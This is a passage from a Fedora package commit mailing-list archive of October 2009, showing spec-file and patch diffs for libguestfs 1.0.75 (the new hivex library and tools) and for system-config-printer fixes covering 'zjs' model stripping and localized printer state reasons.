- New upstream release 1.0.75.
- New library: libhivex.
- New tools: virt-win-reg, hivexml, hivexget.
- Don't require chntpw.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/EL-5/.cvsignore,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- .cvsignore	20 Oct 2009 14:50:12 -0000	1.34
+++ .cvsignore	29 Oct 2009 17:26:40 -0000	1.35
@@ -1 +1 @@
-libguestfs-1.0.74.tar.gz
+libguestfs-1.0.75.tar.gz


Index: libguestfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/EL-5/libguestfs.spec,v
retrieving revision 1.72
retrieving revision 1.73
diff -u -p -r1.72 -r1.73
--- libguestfs.spec	20 Oct 2009 14:50:12 -0000	1.72
+++ libguestfs.spec	29 Oct 2009 17:26:40 -0000	1.73
@@ -4,7 +4,7 @@
 Summary:     Access and modify virtual machine disk images
 Name:        libguestfs
 Epoch:       1
-Version:     1.0.74
+Version:     1.0.75
 Release:     1%{?dist}
 License:     LGPLv2+
 Group:       Development/Libraries
@@ -23,6 +23,7 @@ BuildRequires: febootstrap >= 2.3
 #BuildRequires: augeas-devel >= 0.5.0
 BuildRequires: readline-devel
 BuildRequires: mkisofs
+BuildRequires: libxml2-devel
 %ifarch %{ix86} x86_64
 BuildRequires: qemu-system-x86 >= 0.10.5
 %endif
@@ -90,9 +91,6 @@ Requires:      qemu-system-x86 >= 0.10.5
 Requires:      qemu-system-ppc >= 0.10.5
 %endif
 
-# For virt-inspector --windows-registry option.
-Requires:      chntpw >= 0.99.6-8
-
 # For libguestfs-test-tool.
 Requires:      mkisofs
 
@@ -213,6 +211,9 @@ scripts.
 
 # Virt-tar is an archive, backup and upload tool for virtual machines.
 
+# Virt-win-reg lets you look inside the Windows Registry for
+# Windows virtual machines.
+
 
 %package -n ocaml-%{name}
 Summary:     OCaml bindings for %{name}
@@ -376,6 +377,8 @@ rmdir keep
 # Delete static libraries, libtool files.
 rm $RPM_BUILD_ROOT%{_libdir}/libguestfs.a
 rm $RPM_BUILD_ROOT%{_libdir}/libguestfs.la
+rm $RPM_BUILD_ROOT%{_libdir}/libhivex.a
+rm $RPM_BUILD_ROOT%{_libdir}/libhivex.la
 
 # Clean up the examples/ directory which will get installed in %doc.
 # Note we can't delete the original examples/Makefile because that
@@ -442,8 +445,11 @@ rm -rf $RPM_BUILD_ROOT
 %doc COPYING
 %{_bindir}/libguestfs-supermin-helper
 %{_bindir}/libguestfs-test-tool
+%{_bindir}/hivexml
+%{_bindir}/hivexget
 %{_libdir}/guestfs/
 %{_libdir}/libguestfs.so.*
+%{_libdir}/libhivex.so.*
 %{_libexecdir}/libguestfs-test-tool-helper
 %{_mandir}/man1/libguestfs-test-tool.1*
 
@@ -454,8 +460,12 @@ rm -rf $RPM_BUILD_ROOT
 %doc src/generator.ml
 #%doc installed-docs/*
 %{_libdir}/libguestfs.so
+%{_libdir}/libhivex.so
+%{_mandir}/man1/hivexml.1*
+%{_mandir}/man1/hivexget.1*
 %{_mandir}/man3/guestfs.3*
 %{_mandir}/man3/libguestfs.3*
+%{_mandir}/man3/hivex.3*
 %{_includedir}/guestfs.h
 %{_includedir}/guestfs-actions.h
 %{_includedir}/guestfs-structs.h
@@ -485,6 +495,8 @@ rm -rf $RPM_BUILD_ROOT
 # %{_mandir}/man1/virt-rescue.1*
 # %{_bindir}/virt-tar
 # %{_mandir}/man1/virt-tar.1*
+# %{_bindir}/virt-win-reg
+# %{_mandir}/man1/virt-win-reg.1*
 
 
 %files -n ocaml-%{name}
@@ -552,6 +564,12 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 29 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.75-1
+- New upstream release 1.0.75.
+- New library: libhivex.
+- New tools: virt-win-reg, hivexml, hivexget.
+- Don't require chntpw.
+
 * Tue Oct 20 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.74-1
 - New upstream release 1.0.74.
 - New API call: guestfs_find0.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/EL-5/sources,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- sources	20 Oct 2009 14:50:12 -0000	1.34
+++ sources	29 Oct 2009 17:26:40 -0000	1.35
@@ -1 +1 @@
-669f27a4590298feb0ea6749499b02e1  libguestfs-1.0.74.tar.gz
+ccde2fd4f9422ba3f468acc6477f204d  libguestfs-1.0.75.tar.gz



From twaugh at fedoraproject.org  Thu Oct 29 17:26:45 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Thu, 29 Oct 2009 17:26:45 +0000 (UTC)
Subject: rpms/system-config-printer/F-12
	system-config-printer-strip-zjs.patch, 
	NONE, 1.1 system-config-printer.spec, 1.304, 1.305
Message-ID: <20091029172645.CC2C411C02A3@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/system-config-printer/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26142

Modified Files:
	system-config-printer.spec 
Added Files:
	system-config-printer-strip-zjs.patch 
Log Message:
* Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-5
- Strip 'zjs' from make-and-model as well (bug #531869).


system-config-printer-strip-zjs.patch:
 ppds.py |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE system-config-printer-strip-zjs.patch ---
diff -up system-config-printer-1.1.13/cupshelpers/ppds.py.strip-zjs system-config-printer-1.1.13/cupshelpers/ppds.py
--- system-config-printer-1.1.13/cupshelpers/ppds.py.strip-zjs	2009-10-29 16:51:28.575897013 +0000
+++ system-config-printer-1.1.13/cupshelpers/ppds.py	2009-10-29 17:18:17.526021102 +0000
@@ -184,6 +184,7 @@ def ppdMakeModelSplit (ppd_make_and_mode
                    " ps3",
                    " pxl",
                    " series",
+                   " zjs",              # hpcups
                    " zxs",              # hpcups
                    " pcl3",             # hpcups
                    "_bt",


Index: system-config-printer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-printer/F-12/system-config-printer.spec,v
retrieving revision 1.304
retrieving revision 1.305
diff -u -p -r1.304 -r1.305
--- system-config-printer.spec	28 Oct 2009 15:59:51 -0000	1.304
+++ system-config-printer.spec	29 Oct 2009 17:26:45 -0000	1.305
@@ -7,7 +7,7 @@
 Summary: A printer administration tool
 Name: system-config-printer
 Version: 1.1.13
-Release: 4%{?dist}
+Release: 5%{?dist}
 License: GPLv2+
 URL: http://cyberelk.net/tim/software/system-config-printer/
 Group: System Environment/Base
@@ -29,6 +29,7 @@ Patch11: system-config-printer-no-cancel
 Patch12: system-config-printer-jobs-window-visibility.patch
 Patch13: system-config-printer-strip-zxs-pcl3.patch
 Patch14: system-config-printer-troubleshoot-network-printers.patch
+Patch15: system-config-printer-strip-zjs.patch
 
 BuildRequires: cups-devel >= 1.2
 BuildRequires: python-devel >= 2.4
@@ -103,6 +104,7 @@ printers.
 %patch12 -p1 -b .jobs-window-visibility
 %patch13 -p1 -b .strip-zxs-pcl3
 %patch14 -p1 -b .troubleshoot-network-printers
+%patch15 -p1 -b .strip-zjs
 
 %build
 %configure --with-udev-rules --with-polkit-1
@@ -214,6 +216,9 @@ rm -rf %buildroot
 exit 0
 
 %changelog
+* Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-5
+- Strip 'zjs' from make-and-model as well (bug #531869).
+
 * Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-4
 - Troubleshoot: connect to the right server when choosing a network
   queue (bug #531482).



From twaugh at fedoraproject.org  Thu Oct 29 17:27:33 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Thu, 29 Oct 2009 17:27:33 +0000 (UTC)
Subject: rpms/system-config-printer/devel
	system-config-printer-strip-zjs.patch, NONE,
	1.1 system-config-printer.spec, 1.300, 1.301
Message-ID: <20091029172733.92FC711C02A3@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/system-config-printer/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26546

Modified Files:
	system-config-printer.spec 
Added Files:
	system-config-printer-strip-zjs.patch 
Log Message:
* Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-5
- Strip 'zjs' from make-and-model as well (bug #531869).


system-config-printer-strip-zjs.patch:
 ppds.py |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE system-config-printer-strip-zjs.patch ---
diff -up system-config-printer-1.1.13/cupshelpers/ppds.py.strip-zjs system-config-printer-1.1.13/cupshelpers/ppds.py
--- system-config-printer-1.1.13/cupshelpers/ppds.py.strip-zjs	2009-10-29 16:51:28.575897013 +0000
+++ system-config-printer-1.1.13/cupshelpers/ppds.py	2009-10-29 17:18:17.526021102 +0000
@@ -184,6 +184,7 @@ def ppdMakeModelSplit (ppd_make_and_mode
                    " ps3",
                    " pxl",
                    " series",
+                   " zjs",              # hpcups
                    " zxs",              # hpcups
                    " pcl3",             # hpcups
                    "_bt",


Index: system-config-printer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-printer/devel/system-config-printer.spec,v
retrieving revision 1.300
retrieving revision 1.301
diff -u -p -r1.300 -r1.301
--- system-config-printer.spec	28 Oct 2009 16:43:38 -0000	1.300
+++ system-config-printer.spec	29 Oct 2009 17:27:33 -0000	1.301
@@ -7,7 +7,7 @@
 Summary: A printer administration tool
 Name: system-config-printer
 Version: 1.1.13
-Release: 4%{?dist}
+Release: 5%{?dist}
 License: GPLv2+
 URL: http://cyberelk.net/tim/software/system-config-printer/
 Group: System Environment/Base
@@ -29,6 +29,7 @@ Patch11: system-config-printer-no-cancel
 Patch12: system-config-printer-jobs-window-visibility.patch
 Patch13: system-config-printer-strip-zxs-pcl3.patch
 Patch14: system-config-printer-troubleshoot-network-printers.patch
+Patch15: system-config-printer-strip-zjs.patch
 
 BuildRequires: cups-devel >= 1.2
 BuildRequires: python-devel >= 2.4
@@ -103,6 +104,7 @@ printers.
 %patch12 -p1 -b .jobs-window-visibility
 %patch13 -p1 -b .strip-zxs-pcl3
 %patch14 -p1 -b .troubleshoot-network-printers
+%patch15 -p1 -b .strip-zjs
 
 %build
 %configure --with-udev-rules --with-polkit-1
@@ -214,6 +216,9 @@ rm -rf %buildroot
 exit 0
 
 %changelog
+* Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-5
+- Strip 'zjs' from make-and-model as well (bug #531869).
+
 * Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-4
 - Troubleshoot: connect to the right server when choosing a network
   queue (bug #531482).



From twaugh at fedoraproject.org  Thu Oct 29 17:31:49 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Thu, 29 Oct 2009 17:31:49 +0000 (UTC)
Subject: rpms/system-config-printer/F-11
	system-config-printer-custom-state-reasons.patch, NONE,
	1.1 system-config-printer.spec, 1.298, 1.299
Message-ID: <20091029173149.D1CB411C02A3@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/system-config-printer/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27776

Modified Files:
	system-config-printer.spec 
Added Files:
	system-config-printer-custom-state-reasons.patch 
Log Message:
* Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-5
- Added upstream patch for custom state reasons (bug #531872).


system-config-printer-custom-state-reasons.patch:
 monitor.py                          |    4 ++--
 statereason.py                      |   27 ++++++++++++++++++++++++---
 system-config-printer.py            |    5 +++--
 troubleshoot/PrinterStateReasons.py |    2 +-
 4 files changed, 30 insertions(+), 8 deletions(-)

--- NEW FILE system-config-printer-custom-state-reasons.patch ---
diff -up system-config-printer-1.1.13/monitor.py.custom-state-reasons system-config-printer-1.1.13/monitor.py
--- system-config-printer-1.1.13/monitor.py.custom-state-reasons	2009-09-04 10:35:48.000000000 +0100
+++ system-config-printer-1.1.13/monitor.py	2009-10-29 17:18:46.813021287 +0000
@@ -62,7 +62,7 @@ def collect_printer_state_reasons (conne
                 continue
             if not result.has_key (name):
                 result[name] = []
-            result[name].append (StateReason (name, reason))
+            result[name].append (StateReason (connection, name, reason))
     return result
 
 class Watcher:
@@ -408,7 +408,7 @@ class Monitor:
                             break
                         if state_reason_is_harmless (reason):
                             continue
-                        reasons.append (StateReason (name, reason))
+                        reasons.append (StateReason (c, name, reason))
                     self.printer_state_reasons[name] = reasons
 
                     deferred_calls.append ((self.watcher.printer_event,
diff -up system-config-printer-1.1.13/statereason.py.custom-state-reasons system-config-printer-1.1.13/statereason.py
--- system-config-printer-1.1.13/statereason.py.custom-state-reasons	2009-09-04 10:35:48.000000000 +0100
+++ system-config-printer-1.1.13/statereason.py	2009-10-29 17:18:46.814020769 +0000
@@ -17,6 +17,8 @@
 ## along with this program; if not, write to the Free Software
 ## Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 
+import cups
+
 _ = lambda x: x
 def set_gettext_function (fn):
     global _
@@ -33,11 +35,12 @@ class StateReason:
         ERROR: "dialog-error"
         }
 
-    def __init__(self, printer, reason):
+    def __init__(self, connection, printer, reason):
         self.printer = printer
         self.reason = reason
         self.level = None
         self.canonical_reason = None
+        self.connection = connection
 
     def get_printer (self):
         return self.printer
@@ -53,6 +56,7 @@ class StateReason:
             self.level = self.WARNING
         else:
             self.level = self.ERROR
+
         return self.level
 
     def get_reason (self):
@@ -69,6 +73,7 @@ class StateReason:
         return self.canonical_reason
 
     def __repr__ (self):
+        self.get_level()
         if self.level == self.REPORT:
             level = "REPORT"
         elif self.level == self.WARNING:
@@ -119,8 +124,24 @@ class StateReason:
                 title = _("Printer warning")
             elif self.get_level () == self.ERROR:
                 title = _("Printer error")
-            text = _("Printer '%s': '%s'.") % (self.get_printer (),
-                                               self.get_reason ())
+
+            try:
+                f = self.connection.getPPD(self.printer)
+                ppd = cups.PPD (f)
+                schemes = ["text", "http", "help", "file"]
+                localized_reason = ""
+                for scheme in schemes:
+                    reason = ppd.localizeIPPReason(self.reason, scheme)
+                    if reason != None:
+                        localized_reason = localized_reason + reason + ", "
+                if localized_reason != "":
+                    reason = localized_reason[:-2]
+                else:
+                    reason = self.get_reason()
+            except cups.IPPError:
+                reason = self.get_reason()
+
+            text = _("Printer '%s': '%s'.") % (self.get_printer (), reason)
         return (title, text)
 
     def get_tuple (self):
diff -up system-config-printer-1.1.13/system-config-printer.py.custom-state-reasons system-config-printer-1.1.13/system-config-printer.py
--- system-config-printer-1.1.13/system-config-printer.py.custom-state-reasons	2009-10-29 16:51:28.567896668 +0000
+++ system-config-printer-1.1.13/system-config-printer.py	2009-10-29 17:18:46.816896209 +0000
@@ -1445,7 +1445,8 @@ class GUI(GtkGUI, monitor.Watcher):
                             emblem = gtk.STOCK_MEDIA_PAUSE
                             continue
 
-                        r = statereason.StateReason (object.name, reason)
+                        r = statereason.StateReason (object.connection,
+                                                     object.name, reason)
                         if worst_reason == None:
                             worst_reason = r
                         elif r > worst_reason:
@@ -2579,7 +2580,7 @@ class GUI(GtkGUI, monitor.Watcher):
 
             any = True
             iter = store.append (None)
-            r = statereason.StateReason (printer.name, reason)
+            r = statereason.StateReason (printer.connection, printer.name, reason)
             if r.get_reason () == "paused":
                 icon = gtk.STOCK_MEDIA_PAUSE
             else:
diff -up system-config-printer-1.1.13/troubleshoot/PrinterStateReasons.py.custom-state-reasons system-config-printer-1.1.13/troubleshoot/PrinterStateReasons.py
--- system-config-printer-1.1.13/troubleshoot/PrinterStateReasons.py.custom-state-reasons	2009-09-04 10:35:48.000000000 +0100
+++ system-config-printer-1.1.13/troubleshoot/PrinterStateReasons.py	2009-10-29 17:18:46.817896728 +0000
@@ -71,7 +71,7 @@ class PrinterStateReasons(Question):
             if reason == "none":
                 continue
 
-            r = statereason.StateReason (queue, reason)
+            r = statereason.StateReason (c, queue, reason)
             (title, description) = r.get_description ()
             level = r.get_level ()
             if level == statereason.StateReason.ERROR:


Index: system-config-printer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-printer/F-11/system-config-printer.spec,v
retrieving revision 1.298
retrieving revision 1.299
diff -u -p -r1.298 -r1.299
--- system-config-printer.spec	29 Oct 2009 17:25:59 -0000	1.298
+++ system-config-printer.spec	29 Oct 2009 17:31:49 -0000	1.299
@@ -28,6 +28,7 @@ Patch12: system-config-printer-jobs-wind
 Patch13: system-config-printer-strip-zxs-pcl3.patch
 Patch14: system-config-printer-troubleshoot-network-printers.patch
 Patch15: system-config-printer-strip-zjs.patch
+Patch16: system-config-printer-custom-state-reasons.patch
 
 BuildRequires: cups-devel >= 1.2
 BuildRequires: python-devel >= 2.4
@@ -89,6 +90,7 @@ the configuration tool.
 %patch13 -p1 -b .strip-zxs-pcl3
 %patch14 -p1 -b .troubleshoot-network-printers
 %patch15 -p1 -b .strip-zjs
+%patch16 -p1 -b .custom-state-reasons
 
 %build
 %configure
@@ -191,6 +193,7 @@ exit 0
 
 %changelog
 * Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-5
+- Added upstream patch for custom state reasons (bug #531872).
 - Strip 'zjs' from make-and-model as well (bug #531869).
 
 * Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-4



From twaugh at fedoraproject.org  Thu Oct 29 17:32:41 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Thu, 29 Oct 2009 17:32:41 +0000 (UTC)
Subject: rpms/system-config-printer/F-12
	system-config-printer-custom-state-reasons.patch, NONE,
	1.1 system-config-printer.spec, 1.305, 1.306
Message-ID: <20091029173241.3888911C02A3@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/system-config-printer/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28137

Modified Files:
	system-config-printer.spec 
Added Files:
	system-config-printer-custom-state-reasons.patch 
Log Message:
* Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-5
- Added upstream patch for custom state reasons (bug #531872).


system-config-printer-custom-state-reasons.patch:
 monitor.py                          |    4 ++--
 statereason.py                      |   27 ++++++++++++++++++++++++---
 system-config-printer.py            |    5 +++--
 troubleshoot/PrinterStateReasons.py |    2 +-
 4 files changed, 30 insertions(+), 8 deletions(-)

--- NEW FILE system-config-printer-custom-state-reasons.patch ---
diff -up system-config-printer-1.1.13/monitor.py.custom-state-reasons system-config-printer-1.1.13/monitor.py
--- system-config-printer-1.1.13/monitor.py.custom-state-reasons	2009-09-04 10:35:48.000000000 +0100
+++ system-config-printer-1.1.13/monitor.py	2009-10-29 17:18:46.813021287 +0000
@@ -62,7 +62,7 @@ def collect_printer_state_reasons (conne
                 continue
             if not result.has_key (name):
                 result[name] = []
-            result[name].append (StateReason (name, reason))
+            result[name].append (StateReason (connection, name, reason))
     return result
 
 class Watcher:
@@ -408,7 +408,7 @@ class Monitor:
                             break
                         if state_reason_is_harmless (reason):
                             continue
-                        reasons.append (StateReason (name, reason))
+                        reasons.append (StateReason (c, name, reason))
                     self.printer_state_reasons[name] = reasons
 
                     deferred_calls.append ((self.watcher.printer_event,
diff -up system-config-printer-1.1.13/statereason.py.custom-state-reasons system-config-printer-1.1.13/statereason.py
--- system-config-printer-1.1.13/statereason.py.custom-state-reasons	2009-09-04 10:35:48.000000000 +0100
+++ system-config-printer-1.1.13/statereason.py	2009-10-29 17:18:46.814020769 +0000
@@ -17,6 +17,8 @@
 ## along with this program; if not, write to the Free Software
 ## Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 
+import cups
+
 _ = lambda x: x
 def set_gettext_function (fn):
     global _
@@ -33,11 +35,12 @@ class StateReason:
         ERROR: "dialog-error"
         }
 
-    def __init__(self, printer, reason):
+    def __init__(self, connection, printer, reason):
         self.printer = printer
         self.reason = reason
         self.level = None
         self.canonical_reason = None
+        self.connection = connection
 
     def get_printer (self):
         return self.printer
@@ -53,6 +56,7 @@ class StateReason:
             self.level = self.WARNING
         else:
             self.level = self.ERROR
+
         return self.level
 
     def get_reason (self):
@@ -69,6 +73,7 @@ class StateReason:
         return self.canonical_reason
 
     def __repr__ (self):
+        self.get_level()
         if self.level == self.REPORT:
             level = "REPORT"
         elif self.level == self.WARNING:
@@ -119,8 +124,24 @@ class StateReason:
                 title = _("Printer warning")
             elif self.get_level () == self.ERROR:
                 title = _("Printer error")
-            text = _("Printer '%s': '%s'.") % (self.get_printer (),
-                                               self.get_reason ())
+
+            try:
+                f = self.connection.getPPD(self.printer)
+                ppd = cups.PPD (f)
+                schemes = ["text", "http", "help", "file"]
+                localized_reason = ""
+                for scheme in schemes:
+                    reason = ppd.localizeIPPReason(self.reason, scheme)
+                    if reason != None:
+                        localized_reason = localized_reason + reason + ", "
+                if localized_reason != "":
+                    reason = localized_reason[:-2]
+                else:
+                    reason = self.get_reason()
+            except cups.IPPError:
+                reason = self.get_reason()
+
+            text = _("Printer '%s': '%s'.") % (self.get_printer (), reason)
         return (title, text)
 
     def get_tuple (self):
diff -up system-config-printer-1.1.13/system-config-printer.py.custom-state-reasons system-config-printer-1.1.13/system-config-printer.py
--- system-config-printer-1.1.13/system-config-printer.py.custom-state-reasons	2009-10-29 16:51:28.567896668 +0000
+++ system-config-printer-1.1.13/system-config-printer.py	2009-10-29 17:18:46.816896209 +0000
@@ -1445,7 +1445,8 @@ class GUI(GtkGUI, monitor.Watcher):
                             emblem = gtk.STOCK_MEDIA_PAUSE
                             continue
 
-                        r = statereason.StateReason (object.name, reason)
+                        r = statereason.StateReason (object.connection,
+                                                     object.name, reason)
                         if worst_reason == None:
                             worst_reason = r
                         elif r > worst_reason:
@@ -2579,7 +2580,7 @@ class GUI(GtkGUI, monitor.Watcher):
 
             any = True
             iter = store.append (None)
-            r = statereason.StateReason (printer.name, reason)
+            r = statereason.StateReason (printer.connection, printer.name, reason)
             if r.get_reason () == "paused":
                 icon = gtk.STOCK_MEDIA_PAUSE
             else:
diff -up system-config-printer-1.1.13/troubleshoot/PrinterStateReasons.py.custom-state-reasons system-config-printer-1.1.13/troubleshoot/PrinterStateReasons.py
--- system-config-printer-1.1.13/troubleshoot/PrinterStateReasons.py.custom-state-reasons	2009-09-04 10:35:48.000000000 +0100
+++ system-config-printer-1.1.13/troubleshoot/PrinterStateReasons.py	2009-10-29 17:18:46.817896728 +0000
@@ -71,7 +71,7 @@ class PrinterStateReasons(Question):
             if reason == "none":
                 continue
 
-            r = statereason.StateReason (queue, reason)
+            r = statereason.StateReason (c, queue, reason)
             (title, description) = r.get_description ()
             level = r.get_level ()
             if level == statereason.StateReason.ERROR:


Index: system-config-printer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-printer/F-12/system-config-printer.spec,v
retrieving revision 1.305
retrieving revision 1.306
diff -u -p -r1.305 -r1.306
--- system-config-printer.spec	29 Oct 2009 17:26:45 -0000	1.305
+++ system-config-printer.spec	29 Oct 2009 17:32:41 -0000	1.306
@@ -30,6 +30,7 @@ Patch12: system-config-printer-jobs-wind
 Patch13: system-config-printer-strip-zxs-pcl3.patch
 Patch14: system-config-printer-troubleshoot-network-printers.patch
 Patch15: system-config-printer-strip-zjs.patch
+Patch16: system-config-printer-custom-state-reasons.patch
 
 BuildRequires: cups-devel >= 1.2
 BuildRequires: python-devel >= 2.4
@@ -105,6 +106,7 @@ printers.
 %patch13 -p1 -b .strip-zxs-pcl3
 %patch14 -p1 -b .troubleshoot-network-printers
 %patch15 -p1 -b .strip-zjs
+%patch16 -p1 -b .custom-state-reasons
 
 %build
 %configure --with-udev-rules --with-polkit-1
@@ -217,6 +219,7 @@ exit 0
 
 %changelog
 * Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-5
+- Added upstream patch for custom state reasons (bug #531872).
 - Strip 'zjs' from make-and-model as well (bug #531869).
 
 * Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-4



From twaugh at fedoraproject.org  Thu Oct 29 17:33:11 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Thu, 29 Oct 2009 17:33:11 +0000 (UTC)
Subject: rpms/system-config-printer/devel
	system-config-printer-custom-state-reasons.patch, NONE,
	1.1 system-config-printer.spec, 1.301, 1.302
Message-ID: <20091029173311.2061511C02A3@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/system-config-printer/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28313

Modified Files:
	system-config-printer.spec 
Added Files:
	system-config-printer-custom-state-reasons.patch 
Log Message:
* Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-5
- Added upstream patch for custom state reasons (bug #531872).


system-config-printer-custom-state-reasons.patch:
 monitor.py                          |    4 ++--
 statereason.py                      |   27 ++++++++++++++++++++++++---
 system-config-printer.py            |    5 +++--
 troubleshoot/PrinterStateReasons.py |    2 +-
 4 files changed, 30 insertions(+), 8 deletions(-)

--- NEW FILE system-config-printer-custom-state-reasons.patch ---
diff -up system-config-printer-1.1.13/monitor.py.custom-state-reasons system-config-printer-1.1.13/monitor.py
--- system-config-printer-1.1.13/monitor.py.custom-state-reasons	2009-09-04 10:35:48.000000000 +0100
+++ system-config-printer-1.1.13/monitor.py	2009-10-29 17:18:46.813021287 +0000
@@ -62,7 +62,7 @@ def collect_printer_state_reasons (conne
                 continue
             if not result.has_key (name):
                 result[name] = []
-            result[name].append (StateReason (name, reason))
+            result[name].append (StateReason (connection, name, reason))
     return result
 
 class Watcher:
@@ -408,7 +408,7 @@ class Monitor:
                             break
                         if state_reason_is_harmless (reason):
                             continue
-                        reasons.append (StateReason (name, reason))
+                        reasons.append (StateReason (c, name, reason))
                     self.printer_state_reasons[name] = reasons
 
                     deferred_calls.append ((self.watcher.printer_event,
diff -up system-config-printer-1.1.13/statereason.py.custom-state-reasons system-config-printer-1.1.13/statereason.py
--- system-config-printer-1.1.13/statereason.py.custom-state-reasons	2009-09-04 10:35:48.000000000 +0100
+++ system-config-printer-1.1.13/statereason.py	2009-10-29 17:18:46.814020769 +0000
@@ -17,6 +17,8 @@
 ## along with this program; if not, write to the Free Software
 ## Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 
+import cups
+
 _ = lambda x: x
 def set_gettext_function (fn):
     global _
@@ -33,11 +35,12 @@ class StateReason:
         ERROR: "dialog-error"
         }
 
-    def __init__(self, printer, reason):
+    def __init__(self, connection, printer, reason):
         self.printer = printer
         self.reason = reason
         self.level = None
         self.canonical_reason = None
+        self.connection = connection
 
     def get_printer (self):
         return self.printer
@@ -53,6 +56,7 @@ class StateReason:
             self.level = self.WARNING
         else:
             self.level = self.ERROR
+
         return self.level
 
     def get_reason (self):
@@ -69,6 +73,7 @@ class StateReason:
         return self.canonical_reason
 
     def __repr__ (self):
+        self.get_level()
         if self.level == self.REPORT:
             level = "REPORT"
         elif self.level == self.WARNING:
@@ -119,8 +124,24 @@ class StateReason:
                 title = _("Printer warning")
             elif self.get_level () == self.ERROR:
                 title = _("Printer error")
-            text = _("Printer '%s': '%s'.") % (self.get_printer (),
-                                               self.get_reason ())
+
+            try:
+                f = self.connection.getPPD(self.printer)
+                ppd = cups.PPD (f)
+                schemes = ["text", "http", "help", "file"]
+                localized_reason = ""
+                for scheme in schemes:
+                    reason = ppd.localizeIPPReason(self.reason, scheme)
+                    if reason != None:
+                        localized_reason = localized_reason + reason + ", "
+                if localized_reason != "":
+                    reason = localized_reason[:-2]
+                else:
+                    reason = self.get_reason()
+            except cups.IPPError:
+                reason = self.get_reason()
+
+            text = _("Printer '%s': '%s'.") % (self.get_printer (), reason)
         return (title, text)
 
     def get_tuple (self):
diff -up system-config-printer-1.1.13/system-config-printer.py.custom-state-reasons system-config-printer-1.1.13/system-config-printer.py
--- system-config-printer-1.1.13/system-config-printer.py.custom-state-reasons	2009-10-29 16:51:28.567896668 +0000
+++ system-config-printer-1.1.13/system-config-printer.py	2009-10-29 17:18:46.816896209 +0000
@@ -1445,7 +1445,8 @@ class GUI(GtkGUI, monitor.Watcher):
                             emblem = gtk.STOCK_MEDIA_PAUSE
                             continue
 
-                        r = statereason.StateReason (object.name, reason)
+                        r = statereason.StateReason (object.connection,
+                                                     object.name, reason)
                         if worst_reason == None:
                             worst_reason = r
                         elif r > worst_reason:
@@ -2579,7 +2580,7 @@ class GUI(GtkGUI, monitor.Watcher):
 
             any = True
             iter = store.append (None)
-            r = statereason.StateReason (printer.name, reason)
+            r = statereason.StateReason (printer.connection, printer.name, reason)
             if r.get_reason () == "paused":
                 icon = gtk.STOCK_MEDIA_PAUSE
             else:
diff -up system-config-printer-1.1.13/troubleshoot/PrinterStateReasons.py.custom-state-reasons system-config-printer-1.1.13/troubleshoot/PrinterStateReasons.py
--- system-config-printer-1.1.13/troubleshoot/PrinterStateReasons.py.custom-state-reasons	2009-09-04 10:35:48.000000000 +0100
+++ system-config-printer-1.1.13/troubleshoot/PrinterStateReasons.py	2009-10-29 17:18:46.817896728 +0000
@@ -71,7 +71,7 @@ class PrinterStateReasons(Question):
             if reason == "none":
                 continue
 
-            r = statereason.StateReason (queue, reason)
+            r = statereason.StateReason (c, queue, reason)
             (title, description) = r.get_description ()
             level = r.get_level ()
             if level == statereason.StateReason.ERROR:


Index: system-config-printer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-printer/devel/system-config-printer.spec,v
retrieving revision 1.301
retrieving revision 1.302
diff -u -p -r1.301 -r1.302
--- system-config-printer.spec	29 Oct 2009 17:27:33 -0000	1.301
+++ system-config-printer.spec	29 Oct 2009 17:33:10 -0000	1.302
@@ -30,6 +30,7 @@ Patch12: system-config-printer-jobs-wind
